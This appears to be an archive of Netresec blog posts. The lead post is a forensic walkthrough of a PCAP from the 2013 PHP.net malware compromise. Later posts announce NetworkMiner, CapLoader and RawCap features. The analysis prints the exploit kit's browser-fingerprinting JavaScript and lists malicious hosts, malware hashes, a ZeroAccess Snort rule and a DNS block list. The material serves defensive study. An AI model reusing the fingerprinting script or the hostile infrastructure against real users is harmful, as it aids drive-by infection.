We can see that the PCAP is from October 22, i.e. the traffic was captured at least one day before Google Safe Browsing started alerting users that PHP.net was hosting malware. Barracuda Labs made the PCAP file public on October 24.

A good start is to look at IP's and hostnames based on DNS traffic. Tshark can give a nice hosts-file formatted output with the following command:

~/Desktop$ tshark -r barracuda.pcap -q -z hosts
# TShark hosts output
#
# Host data gathered from barracuda.pcap

69.147.83.199   php.net
69.147.83.201   y3b.php.net
91.214.203.236  url.whichusb.co.uk
91.214.203.240  aes.whichdigitalphoto.co.uk
144.76.192.102  zivvgmyrwy.3razbave.info
108.168.255.244 j.maxmind.com
74.125.224.146  www.google.com
74.125.224.148  www.google.com
74.125.224.147  www.google.com
74.125.224.144  www.google.com
74.125.224.145  www.google.com
95.106.70.103   uocqiumsciscqaiu.org
213.141.130.50  uocqiumsciscqaiu.org
77.70.85.108    uocqiumsciscqaiu.org
69.245.241.238  uocqiumsciscqaiu.org
78.62.94.153    uocqiumsciscqaiu.org
83.166.105.96   uocqiumsciscqaiu.org
89.215.216.111  uocqiumsciscqaiu.org
176.219.188.56  uocqiumsciscqaiu.org
94.244.141.40   uocqiumsciscqaiu.org
78.60.109.182   uocqiumsciscqaiu.org
213.200.55.143  uocqiumsciscqaiu.org

Several of these hostnames look suspicious; two of them look as if they have been produced by a domain generation algorithm (DGA). However, before proceeding with analyzing these domains I'll also run the PCAP through httpry in order to generate a web-proxy-like log.

~/Desktop/php-net$ httpry -r ../barracuda.pcap 'dst port 80'
httpry version 0.1.6 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2011 Jason Bittel <jason.bittel@gmail.com>
192.168.40.10 69.147.83.199 > GET php.net /
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/styles/phpnet.css
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/styles/site.css
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/userprefs.js
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/styles/print.css
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/images/php.gif
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/images/small_submit_white.gif
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/images/leftbar.png
192.168.40.10 69.147.83.201 > GET static.php.net /www.php.net/images/rightbar.png
192.168.40.10 91.214.203.236 > GET url.whichusb.co.uk /stat.htm
192.168.40.10 91.214.203.236 > GET url.whichusb.co.uk /PluginDetect_All.js
192.168.40.10 91.214.203.236 > POST url.whichusb.co.uk /stat.htm
192.168.40.10 91.214.203.240 > GET aes.whichdigitalphoto.co.uk /nid?1
192.168.40.10 144.76.192.102 > GET zivvgmyrwy.3razbave.info /?695e6cca27beb62ddb0a8ea707e4ffb8=43
192.168.40.10 144.76.192.102 > GET zivvgmyrwy.3razbave.info /b0047396f70a98831ac1e3b25c324328/8fdc5f9653bb42a310b96f5fb203815b.swf
192.168.40.10 144.76.192.102 > GET zivvgmyrwy.3razbave.info /b0047396f70a98831ac1e3b25c324328/b7fc797c851c250e92de05cbafe98609
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?9de26ff3b66ba82b35e31bf4ea975dfe
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?90f5b9a1fbcb2e4a879001a28d7940b4
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?8eec6c596bb3e684092b9ea8970d7eae
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?35523bb81eca604f9ebd1748879f3fc1
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?b28b06f01e219d58efba9fe0d1fe1bb3
192.168.40.10 108.168.255.244 > GET j.maxmind.com /app/geoip.js
192.168.40.10 74.125.224.146 > GET www.google.com /
192.168.40.10 144.76.192.102 > GET 144.76.192.102 /?52d4e644e9cda518824293e7a4cdb7a1
192.168.40.10 95.106.70.103 > POST uocqiumsciscqaiu.org /
192.168.40.10 74.125.224.146 > GET www.google.com /
26 http packets parsed

url.whichusb.co.uk

We can see that the first HTTP request outside of php.net was a GET reguest for url.whichusb.co.uk/stat.htm. Let's extract this file (and all the other ones) to disk with NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional. NetworkMinerCLI works just fine in Linux (if you have installed Mono) and it's perfect when you wanna automize content extraction from PCAP files, since you can script it to extract metadata and files to disk from the captured packets.

~/Desktop$ mkdir php-net
~/Desktop$ NetworkMinerCLI.exe -r barracuda.pcap -w php-net

NetworkMinerCLI has now produced multiple CSV files that we can grep in (or load into Excel / OpenOffice). The “AssembledFiles” directory contains the files that have been extracted from the packets.

~/Desktop/php-net$ ls
AssembledFiles
barracuda.pcap.CleartextWords.csv
barracuda.pcap.Credentials.csv
barracuda.pcap.DnsRecords.csv
barracuda.pcap.FileInfos.csv
barracuda.pcap.Hosts.csv
barracuda.pcap.Parameters.csv
barracuda.pcap.Sessions.csv

~/Desktop/php-net$ cat AssembledFiles/91.214.203.236/HTTP\ -\ TCP\ 80/stat.htm

<html>
<head>
<script type="text/javascript" src="PluginDetect_All.js"></script>
</head>
<body>
<script>
var os=0;
try
{
var os=PluginDetect.OS;
}
catch(e){}
var jav=0;
try
{
//var javaversion=PluginDetect.getVersion('Java','./getjavainfo.jar');
var javaversion=0;
if(javaversion!=null)
{
jav=1;
}
}
catch(e){}
var acrobat=new Object();
acrobat.installed=false;
acrobat.version=0;
var pdfi=0;
try
{
var adobe=PluginDetect.getVersion("AdobeReader");
if(adobe!=null)
{
pdfi=1;
}
}
catch(e){}
var resoluz=0;
try
{
resoluz=screen.width;
}
catch(e){}
document.write('<form action="stat.htm" method="post"><input type="hidden" name="id" value="" />');
var id=resoluz+'|'+jav+'|'+pdfi;
var frm=document.forms[0];
frm.id.value=id;
frm.submit();
</script>
</body>
</html>

The bold part of this java script does a HTTP POST back to stat.htm with a parameter named id and a value in the following format: "ScreenResolutionWidth|Java(1/0)|AdobeReader(1/0)"

The Parameters.csv contains all text based variables and parameters that have been extracted from the PCAP file. I should therefore be able to find the contents of this HTTP POST inside that CSV file.

~/Desktop/php-net$ grep POST barracuda.pcap.Parameters.csv 192.168.40.10,TCP 1040,91.214.203.236,TCP 80,147,10/22/2013 7:27:54 PM,HTTP POST,id,800|1|1

Yep, the following data was posted back to stat.htm (which we expect is under the attacker's control):

Width = 800px
Java = 1 (true)
AdobeReader = 1 (true)

zivvgmyrwy.3razbave.info

The first DGA-like URL in the list above was zivvgmyrwy.3razbave.info. Let's proceed by grepping for the DGA hostname and its IP.

~/Desktop/php-net$ grep zivvgmyrwy barracuda.pcap.Hosts.csv | cut -d, -f 1,3,5
144.76.192.102,"zivvgmyrwy.3razbave.info,DE Germany

~/Desktop/php-net$ grep 144.76.192.102 barracuda.pcap.FileInfos.csv | cut -d, -f 1,9,10
144.76.192.102,50599e6c124493994541489e00e816e3,3C68746D<htm
144.76.192.102,8943d7a67139892a929e65c0f69a5ced,3C21444F<!DO
144.76.192.102,97017ee966626d55d76598826217801f,3C68746D<htm
144.76.192.102,dc0dbf82e756fe110c5fbdd771fe67f5,4D5A9000MZ..
144.76.192.102,406d6001e16e76622d85a92ae3453588,4D5A9000MZ..
144.76.192.102,d41d8cd98f00b204e9800998ecf8427e,
144.76.192.102,c73134f67fd261dedbc1b685b49d1fa4,4D5A9000MZ..
144.76.192.102,18f4d13f7670866f96822e4683137dd6,4D5A9000MZ..
144.76.192.102,78a5f0bc44fa387310d6571ed752e217,4D5A9000MZ..

These are the MD5-sums of the files that have been downloaded from that suspicious domain. The last column (column 10 in the original CSV file) is the file's first four bytes in Hex, followed by an ASCII representation of the same four bytes. Hence, files starting with 4D5A (hex for “MZ”) are typically Windows PE32 binaries. We can see that five PE32 files have been downloaded from 144.76.192.102.

All the listed files have also been carved to disk by NetworkMinerCLI. We can therefore have a quick look at the extracted files to see if any of them uses the IsDebuggerPresent function, which is a common anti-debugging technique used by malware to avoid sanboxes and malware analysts.

~/Desktop/php-net$ fgrep -R IsDebuggerPresent AssembledFiles
Binary file AssembledFiles/144.76.192.102/HTTP - TCP 80/index.html.A62ECF91.html matches
Binary file AssembledFiles/144.76.192.102/HTTP - TCP 80/index.html.63366393.html matches
Binary file AssembledFiles/144.76.192.102/HTTP - TCP 80/index.html.6FA4D5CC.html matches
Binary file AssembledFiles/144.76.192.102/HTTP - TCP 80/index.html.51620EC7.html matches

uocqiumsciscqaiu.org

The other odd looking domain name was “uocqiumsciscqaiu.org” that seems to be pointing to a whole array of IP addresses. Let's see what we can find out about this domain:

~/Desktop/php-net$ grep uocqiumsciscqaiu barracuda.pcap.Hosts.csv | cut -d, -f 1,3,4
95.106.70.103,uocqiumsciscqaiu.org,RU Russian Federation

It turns out that the PCAP file contains communication to one of the IP addresses associated with the “uocqiumsciscqaiu.org” domain. The server is located in Russia (according to MaxMind). Going back to our previous httpry log we can see that a HTTP POST was made to this domain. Let's see what content that was pushed out to that Russian server!

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "ip.addr eq 95.106.70.103 and http.request" -x

862 67.365496 192.168.40.10 -> 95.106.70.103 HTTP POST / HTTP/1.1

0000 0a b4 df 27 c2 b0 00 20 18 eb ca 28 08 00 45 00 ...'... ...(..E.
0010 01 05 02 96 40 00 80 06 68 d9 c0 a8 28 0a 5f 6a ....@...h...(._j
0020 46 67 04 2f 00 50 d3 80 46 2f e3 c6 b5 b5 50 18 Fg./.P..F/....P.
0030 ff ff b0 15 00 00 50 4f 53 54 20 2f 20 48 54 54 ......POST / HTT
0040 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 75 6f 63 P/1.1..Host: uoc
0050 71 69 75 6d 73 63 69 73 63 71 61 69 75 2e 6f 72 qiumsciscqaiu.or
0060 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 g..Content-Lengt
0070 68 3a 20 31 32 38 0d 0a 43 61 63 68 65 2d 43 6f h: 128..Cache-Co
0080 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d ntrol: no-cache.
0090 0a 0d 0a 1c 61 37 c4 95 55 9a a0 1c 96 5a 0e e7 ....a7..U....Z..
00a0 f7 16 65 b2 00 9a 93 dc 21 96 e8 70 84 e8 75 6a ..e.....!..p..uj
00b0 04 e2 21 fb f1 2f 96 ce 4e 6c a8 f8 54 ac dd aa ..!../..Nl..T...
00c0 d5 fa c1 61 b5 ec 18 68 38 6e 3b ac 8e 86 a5 d0 ...a...h8n;.....
00d0 f2 62 73 6e ee 37 bc 40 3e 3d 22 0b fe 7c ca 9c .bsn.7.@>="..|..
00e0 49 39 2b d2 cb a2 ec 02 70 2b 58 de 24 75 61 21 I9+.....p+X.$ua!
00f0 85 c9 91 c1 7a ee 0b f7 fd 6c ef e6 c2 6e cb a9 ....z....l...n..
0100 fb ac 65 d8 78 87 fa e2 7f 05 13 a6 73 3d 27 b1 ..e.x.......s='.
0110 db c2 a7 ...

That looks quite odd. Most likely C2 communication or some form of encrypted channel for information leakage.
Update: Our friends from stopmalvertising.com confirm that this is C2 traffic from the downloaded Trojan with MD5 c73134f67fd261dedbc1b685b49d1fa4.

ZeroAccess Trojan

Running the PCAP through Snort will generate multiple alerts indicating that UDP traffic to port 53 might be C2 traffic from the ZeroAccess trojan.

10/22-20:28:38.363586 [**] [1:2015474:2] ET TROJAN ZeroAccess udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.40.10:1055 -> 85.114.128.127:53

There will also be another alert indicating ZeroAccess traffic, but this time for UDP port 16471:

10/22-20:28:57.501645 [**] [1:2015482:6] ET TROJAN ZeroAccess Outbound udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.40.10:1073 -> 219.68.96.128:16471

But when looking closer at the traffic for that alert we only see one outgoing packet, but no response. That wasn't very interesting. However, the rule that was triggered in this particular alert contained a threshold that suppressed alerts for ZeroAccess traffic to other IP addresses. Here is the syntax for the Snort rule:

alert udp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN ZeroAccess Outbound udp traffic detected"; content:"|28 94 8d ab c9 c0 d1 99|"; offset:4; depth:8; dsize:16; threshold: type both, track by_src, count 10, seconds 600; classtype:trojan-activity; sid:2015482; rev:4;)

We can use the content signature to search for other similar packets by using tshark like this:

~/Desktop/php-net$ tshark -R "udp and data.data contains 28:94:8d:ab:c9:c0:d1:99" -r ../barracuda.pcap -T fields -e ip.dst -e udp.port | sort -u
105.129.8.196 16471
111.119.186.150 16471
112.200.137.206 16471
113.162.57.138 16471
114.207.201.74 16471
118.107.222.161 16471
118.175.165.41 16471
121.73.83.62 16471
124.43.201.66 16471
153.166.2.103 16471
173.177.175.241 16471
178.34.223.52 16471
182.160.5.97 16471
185.12.43.63 16471
186.55.140.138 16471
186.88.99.237 16471
187.245.116.205 16471
190.206.224.248 16471
190.213.108.244 16471
197.228.246.213 16471
197.7.33.65 16471
201.1.171.89 16471
202.123.181.178 16471
202.29.179.251 16471
203.81.69.155 16471
212.85.174.80 16471
218.186.195.105 16471
219.68.96.128 16471
24.142.33.67 16471
27.109.17.227 16471
31.169.11.208 16471
37.229.237.130 16471
37.229.239.36 16471
37.237.75.66 16471
37.243.218.70 16471
37.49.224.148 16471
46.40.32.154 16471
50.81.51.167 16471
5.102.206.178 16471
5.12.127.206 16471
5.234.117.85 16471
5.254.141.186 16471
66.26.243.171 16471
70.45.207.23 16471
72.24.235.141 16471
72.252.207.108 16471
75.75.125.203 16471
78.177.67.219 16471
79.54.68.43 16471
84.202.148.220 16471
85.28.144.49 16471
88.222.114.18 16471
92.245.193.137 16471
93.116.10.207 16471
95.180.241.120 16471
95.68.74.55 16471

Wow, the ZeroAccess trojan's P2P C2 traffic sure is noisy, the threshold was probably there for a reason! But let's see which of these servers that actually reply to the ZeroAccess traffic:

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "udp.srcport eq 16471" -T fields -e ip.src > ZeroAccessHosts

~/Desktop/php-net$ fgrep -f ZeroAccessHosts 5f810408ddbbd6d349b4be4766f41a37.pcap.Hosts.csv | cut -d, -f 1,4

27.109.17.227,IN India
37.49.224.148,NL Netherlands
37.229.239.36,UA Ukraine
50.81.51.167,US United States
66.26.243.171,US United States
72.24.235.141,US United States
75.75.125.203,US United States
85.28.144.49,PL Poland
88.222.114.18,LT Lithuania
173.177.175.241,CA Canada
190.213.108.244,TT Trinidad and Tobago
201.1.171.89,BR Brazil

Sweet, those IP's are most likely infected with ZeroAccess as well.

Bonus Find

Barracuda Lab's public IP address for their malware analysis machine seems to be 64.235.155.80.

~/Desktop/php-net$ cut -d, -f1,3,4 barracuda.pcap.Credentials.csv | head -2
ClientIP,Protocol,Username
192.168.40.10,HTTP Cookie,COUNTRY=USA%2C64.235.155.80

Timeline

I've created a timeline of the events in the PCAP file provided by Barracuda Labs. This timeline is frame centric, i.e. frame number is used as the first identifier instead of a timestamp. This helps when you wanna find a particular event in the PCAP.

Frame Data Comment
15 Set-Cookie: COUNTRY=USA%2C64.235.155.80 The external IP of Barracuda's malware lab is stored as a cookie.
139 GET /www.php.net/userprefs.js The first entry of infection at PHP.net
147 POST url.whichusb.co.uk/stat.htm Width = 800px, Java = True, AcrobatReader = True
174 GET /b0047396f70a98831ac1e3b25c324328/ b7fc797c851c250e92de05cbafe98609 Triggers CVE-2013-2551 / MS13-037
213 Ransomware Zbot downloaded from 144.76.192.102 File details on VirusTotal or Anubis. MD5: dc0dbf82e756fe110c5fbdd771fe67f5
299 Ransomware Zbot downloaded from 144.76.192.102 File details on VirusTotal or Anubis. MD5: 406d6001e16e76622d85a92ae3453588
424 Trojan downloaded from 144.76.192.102 File details on VirusTotal or Anubis. MD5: c73134f67fd261dedbc1b685b49d1fa4
534 ZeroAccess Trojan downloaded from 144.76.192.102 File details on VirusTotal or Anubis. MD5: 18f4d13f7670866f96822e4683137dd6
728 GET /app/geoip.js HTTP/1.0 MaxMind query by ZeroAccess Trojan downloaded in frame 534
751 GET www.google.com Connectivity test by Trojan downloaded in frame 424
804 Vawtrak.A Backdoor / Password Stealer downloaded from 144.76.192.102 File details on VirusTotal or Anubis. MD5: 78a5f0bc44fa387310d6571ed752e217
862 HTTP POST to hxxp://uocqiumsciscqaiu.org C2 communication by Trojan downloaded in frame 424
1042 TCP 16471 First of the TCP-based ZeroAccess C2 channels
1036 UDP 16471 First UDP packet with ZeroAccess C2 data
1041 UDP 16471 first UDP ZeroAccess successful reply

Posted by Erik Hjelmvik on Monday, 28 October 2013 22:15:00 (UTC/GMT)

Tags: #Netresec #PCAP #ZeroAccess #NetworkMinerCLI #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=13A552F


DNS whitelisting in NetworkMiner

Stack of Papers by Jenni C

One of the new features in NetworkMiner Professional 1.5 is the ability to check if domain names in DNS requests/responses are “normal” or malicious ones. This lookup is performed offline using a local copy of Alexa's top 1 million domain name list.

We got the idea for this feature via Jarno Niemelä's great presentation titled “Making Life Difficult for Malware”. Despite working for F-Secure Jarno presents several smart ideas for avoiding malware infections without having to install an AV-product.

One of Jarno's slides contains the following suggestions:

Block Traffic To Sites Your Users Don’t Go To

Block subdomain hosting TLDs
  • co.cc, co.tv, ce.ms, rr.nu, cu.cc, cz.cc, vv.cc, cw.cm, cx.cc, etc
Block domains that provide dynamic DNS
  • *dyndns*, *no-ip*, 8866.org, thescx.info, 3322.org, sock8.com
Block file sharing sites, some malware use them
  • fileleave.com, dropbox.com, rapidshare.com, megafiles.com
For strict policy, allow DNS resolving only to Alexa top 1M[1]
  • Tip: Instead of null routing domains set up landing page
  • Either with a link that allows domain or IT ticket

Preventing users from visiting sites outside of the top 1 million websites (according to Alexa) sounds a bit harsh. In fact, we at Netresec just recently made it into the top 1M list (the current rank for netresec.com is 726 922). There are also many good and legit sites that are not yet on this list. Our idea is, however, to give analysts a heads up on queried DNS names that are not on the top 1M list by displaying this information in NetworkMiner's DNS tab.

NetworkMiner Professional 1.5 with DNS tab showing Alexa result for office.windowupdate.com

The screenshot above contains a lookup for the domain “office.windowupdate.com” (note the missing “s” in “windows”). This domain name was previously used by the C2 protocol Lurk (see Command Five's report “Command and Control in the Fifth Domain” for more details). The “Alexa Top 1M” column in NetworkMiner's DNS tab indicates whether or not the domain name is a well known domain. The malicious “office.windowupdate.com” is marked with “No”, while the proper “www.update.microsoft.com” is indeed on the list. It is, however, important to note that only the second-level domain is checked by NetworkMiner; i.e. in this case “windowupdate.com” and “microsoft.com”.

The DNS whitelisting technique can also come in handy when dealing with malware that employs domain generation algorithms (DGAs) (see the Damballa blog for additional info regarding DGAs). It is probably safe to say that these auto-generated domains should never show up in the Alexa Top 1M list.

Posted by Erik Hjelmvik on Wednesday, 02 October 2013 22:30:00 (UTC/GMT)

Tags: #Netresec #DNS #domain #malware #Alexa

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=13A66EB


New features in NetworkMiner 1.5

NetworkMiner 1.5 was released on August 7th, but we haven't yet provided any details regarding the new functionality that has been added.

NetworkMiner (free edition)

New features in the free and open source version of NetworkMiner:

  • Parser for PPPoE (RFC 2615)
  • Keywords can be loaded from text file (useful in investigations where you have lots of strings to search for)
  • Support for LLMNR DNS (RFC 4795) queries over UDP 5355

NetworkMiner Professional

The professional version of NetworkMiner additionally contains the following new features:

NetworkMiner Professional 1.5 with DNS tab
DNS tab in NetworkMiner Professional with eee.pcapng from CloudShark loaded.

Metadata in NetworkMiner Professional 1.5
Metadata window in NetworkMiner Professional

In order to bring up the metadata window, simply right-click a PcapNG file in NetworkMiner's case panel and select "Show Metadata". The extracted metadata will normally contain info about the machine used to create the capture file, such as the OS and what sniffer that was used. Also, please note that some PcapNG files additionally contain name resolution blocks with cached DNS entries even if the corresponding traffic has been filtered from the capture file.

We hope you will find these new features useful!

Posted by Erik Hjelmvik on Sunday, 15 September 2013 21:03:00 (UTC/GMT)

Tags: #Netresec #PcapNG #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1390406


Fast analysis of large pcap files with CapLoader

CapLoader Logo

Are you working with large pcap files and need to see the “whole picture” while still being able to quickly drill down to individual packets for a TCP or UDP flow? Then this is your lucky day, since we at Netresec are releasing our new tool CapLoader today!

Here are the main features of CapLoader:

  • Fast loading of multi-gigabyte PCAP files (1 GB loads in less than 2 minutes on a standard PC and even faster on multi-core machines).
  • GUI presentation of all TCP and UDP flows in the loaded PCAP files.
  • Automatic identification of application layer protocols without relying on port numbers.
  • Extremely fast drill-down functionality to open packets from one or multiple selected flows.
  • Possibility to export packets from selected flows to a new PCAP file or directly open them in external tools like Wireshark and NetworkMiner.

CapLoader identifying Rootkit SSH backdoor on TCP 5001
CapLoader with files from Honeynet SOTM 28 loaded. The application layer protocol from the rootkit backdoor on TCP 5001 is automatically identified as "SSH".

The typical process of working with CapLoader is:

  1. Open one or multiple pcap files, typically by drag-and-dropping them onto the CapLoader GUI.
    CapLoader loading a pcap file with drag-and-drop
  2. Mark the flows of interest.
    CapLoader selecting flows / sessions
  3. Double click the PCAP icon to open the selected sessions in your default pcap parser (typically Wireshark) or better yet, do drag-and-drop from the PCAP icon to your favorite packet analyzer.
    CapLoader exporting packets to NetworkMiner

In short, CapLoader will significantly speed up the analysis process of large network captures while also empowering analysts with a unique protocol identification ability. We at Netresec see CapLoader as the perfect tool for everyone who want to perform analysis on “big data” network captures.

More information about CapLoader is available on caploader.com.

Posted by Erik Hjelmvik on Monday, 02 April 2012 19:55:00 (UTC/GMT)

Tags: #Netresec #CapLoader #Fast #Big Data #PCAP #Flow

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=1246698


NetworkMiner 1.2 Released

NetworkMiner 1.2 is now available!

For those who are not familiar with the network forensics tool NetworkMiner, it's a portable Windows application that analyzes network traffic. NetworkMiner comes in two flavors; a free open source version and a commercial version called “NetworkMiner Professional”.

Some of the new features in version 1.2 of NetworkMiner (free as well as pro version) are:

  • NetworkMiner is now platform independent and can be run on Linux, Mac etc. with help of Mono.
  • Better parsing of emails sent with SMTP.
  • Content extraction of emails went with AOL webmail as in ”The L33t Pill” from the Network Forensics Puzzle Contest.
  • Content extraction from unencrypted SquirrelMail webmail posts.
  • Content extraction of comments sent to Wordpress and Blogspot blogs.
  • Support for GRE encapsulation.
  • Better handling of truncated pcap files that are cut in the middle of a frame.
  • Updated "Details" column in "Files" tab to display the HTTP host name as well as the URI from where the file was retrieved.

NetworkMiner 1.2 Hosts tab

NetworkMiner 1.2 with the Hosts tab open

Upgrading from NetworkMiner Professional 1.x

We offer free upgrades for users running older versions of NetworkMiner Professional. Just send an email to info [at] netresec.com with your current version number as well as license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.2.

Posted by Erik Hjelmvik on Saturday, 19 November 2011 16:00:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11B629A


Automatic Flushing in RawCap

Decorative toilet seat

The “-f” switch can now be used to force RawCap to immediately flush sniffed packets to disk.

I've received multiple emails from RawCap users who run into problems when they want to look at a pcap file from RawCap without terminating the program. What usually happens in this case is that the output pcap file will be empty until they terminate RawCap with “Ctrl-C”. The reason for this is that RawCap has a 1MB data buffer, which is used in order to maximize performance by reducing unnecessary disk operations. RawCap will therefore not write any data to disk until it is terminated or has filled the buffer with 1MB of network traffic.

We've now released a new version (1.4.0.0) of RawCap in order to solve the needs of these users. The new version supports WriteThrough, which forces the data to be written directly to disk without being buffered. The automatic flushing functionality is enabled by supplying the “-f” switch from the command line when launching RawCap.

There is, however, one downside with the new version of RawCap; the size of RawCap.exe has increased from 17kB to 18kB. Sorry for that fellow minimalists... ;)

Here is an example command showing how to sniff traffic from localhost with automatic flushing (i.e. no buffer):

RawCap.exe -f 127.0.0.1 LiveLoopback.pcap

Happy live sniffing!

Posted by Erik Hjelmvik on Sunday, 23 October 2011 16:24:00 (UTC/GMT)

Tags: #Netresec #RawCap #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11A24E0


Running NetworkMiner on Linux with Wine

UPDATE : We no longer recommend running NetworkMiner under Wine, please see our blog post on HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux instead.

Joshua Smith has written a great blog post on toastresearch.com about how to get NetworkMiner running on BackTrack Linux. C. S. Lee (a.k.a. geek00l) has also written a blog post a couple of years ago explaining how to install NetworkMiner on Ubuntu Linux.

Unfortunately both these blog posts point to URLs with old versions of NetworkMiner (now that version 1.1 is released). I'm therefore posting a simple walkthrough of the required commands in order to install the latest version of NetworkMiner on an Ubuntu machine:

sudo apt-get install winetricks
winetricks corefonts dotnet20 gdiplus
cd /opt
wget www.netresec.com/?download=NetworkMiner
unzip latest
cd NetworkMiner_1-1/
wine NetworkMiner.exe
NetworkMiner in Linux with Wine

I hope this will help you get NetworkMiner running on your Ubuntu analyst station!

We will also be looking into having NetworkMiner fully compatible with mono in a future release. This would allow you to run NetworkMiner “natively” on Linux, Mac OS X as well as BSD (OpenBSD, FreeBSD, NetBSD).

Posted by Erik Hjelmvik on Thursday, 13 October 2011 16:51:00 (UTC/GMT)

Tags: #Netresec #Linux #Wine #Ubuntu

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=11A3324


NetworkMiner 1.1 Released

We are today very proud to release version 1.1 of NetworkMiner!

NetworkMiner Logo

The new releases of NetworkMiner (open source version) and NetworkMiner Professional (commercial version) includes the following features:

  • Extraction of parameters sent to Google Analytics into NetworkMiner's “Host Details”. These parameters include: screen resolution, color depth, browser language and flash version.
  • You can drag-and-drop one or multiple pcap files onto NetworkMiner.exe to have it start up and begin loading the dropped pcap files. You can also submit your pcap files as arguments from the command line.
  • Multiple SMB/CIFS and NetBIOS improvements, such as support for multiple simultaneous SMB file transfers over the same TCP session as well as support for NetBIOS Session Service keep-alive messages.
  • Added support for Point-to-Point Protocol (PPP) frames in pcap files.
  • Improved stability when loading pcap files. Thanks to psteier for identifying this bug.

NetworkMiner Professional additionally includes support for Pcap-over-IP, which comes in very handy when you need to access pcap files or network traffic from remote machines or devices. There is, however, no support for Pcap-over-IP in the open source version of NetworkMiner.

Upgrading from NetworkMiner Pro 1.0

We offer free upgrades for users of NetworkMiner Professional 1.0. Just send an email to info [at] netresec.com with your license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.1.

Posted by Erik Hjelmvik on Thursday, 15 September 2011 17:25:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #Pcap-over-IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL: http://netres.ec/?b=119BFC1


Pcap-over-IP in NetworkMiner

Pcap over IP network protocol stack

Version 1.1 of NetworkMiner is soon to be released by us at Netresec. I would therefore like to give you a sneak preview of a simple yet very useful feature that we've added. We call this new feature “Pcap-over-IP”, which is a name originally coined by Packet Forensics.

With Pcap-over-IP you can have NetworkMiner read a pcap file (or libpcap formatted data in general) or over a TCP socket instead of getting it via the file system. The easiest way to send a pcap file over a TCP socket is to pipe a pcap file to netcat like this:

# cat sniffed.pcap | nc 192.168.1.20 57012

In this example I'd be running NetworkMiner on a PC with IP 192.168.1.20 and have Pcap‑over‑IP listening to TCP port 57012. NetworkMiner will save the received packets to disk as well as parse and display the contents of the packets in the GUI when receiving the Pcap‑over‑IP stream.

NetworkMiner receiving Pcap-over-IP data

Pcap-over-IP also allows me to do live network sniffing with dumpcap from my local Windows machine and pipe the captured packets to NetworkMiner via a TCP socket, using Netcat for Windows like this:

C:\Program Files\Wireshark>dumpcap -i 4 -P -w - | C:\Tools\Netcat\nc.exe 127.0.0.1 57012

Note that the “-w -” switch tells dumpcap to push the raw libpcap formated data to standard output (stdout) rather than saving it to a pcap file.

The reason for using dumcap to perform the live sniffing rather than using the built in packet capturing functionality of NetworkMiner is that dumpcap is an extremely reliably tool when it comes to capturing packets. So by sniffing with dumpcap instead of NetworkMiner you minimize the risk of dropping some packets.

I can also use Pcap-over-IP to capture network traffic from a remote PC or device. I can, for example use tcpdump to sniff traffic on the external interface of my Linux-based firewall and push it to an analyst station like this:

# tcpdump -i eth1 -s 0 -U -w - | nc 192.168.1.20 57012

I can also perform remote WiFi sniffing with dumpcap or tcpdump from a Linux machine and send the sniffed packets to NetworkMiner with netcat like this:

# iwconfig wlan0 mode monitor
# iwconfig wlan0 channel 4
# dumpcap -i wlan0 -P -w - | nc 192.168.1.20 57012

It is even possible to receive multiple PCAP streams simultaneously with NetworkMiner. This way I could have 14 dumpcap or tcpdump processes sniffing each individual IEEE 802.11 channel, while monitoring all the captured traffic in real-time with a single instance of NetworkMiner. However, note that this would require 14 sniffer computers or a single sniffer machine with 14 WiFi cards.

SSL encryption

Don't like sending your pcap files in cleartext over the network? That's just fine, we've also implemented support for SSL/TLS encryption in NetworkMiner. You can use the great multipurpose relay tool socat to read your pcap file and have it encrypted with SSL while transiting the network like this:

# socat GOPEN:sniffed.pcap SSL:192.168.1.20:57013,verify=0

You can also use socat when doing live sniffing like this:

# tcpdump -i br0 -s 0 -U -w - | socat - SSL:192.168.1.20:57013,verify=0

Warning: Always make sure you don't sniff your own Pcap-over-IP stream when sending packets to NetworkMiner. You will otherwise construct a feedback loop, which will fill up the tubes. If you need to sniff the same interface as you are using to perform the Pcap‑over‑IP transfer, then make sure to use BPF to filter out the port number used for your Pcap‑over‑IP transfer like this:

# tcpdump -i ppp0 -U -w - not port 57012 | nc 192.168.1.20 57012

UPDATE June 16, 2014

With the release of NetworkMiner 1.6 we've made the PCAP‑over‑IP functionality available in the free open source edition of NetworkMiner. We have also integrated PCAP‑over‑IP into NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional.
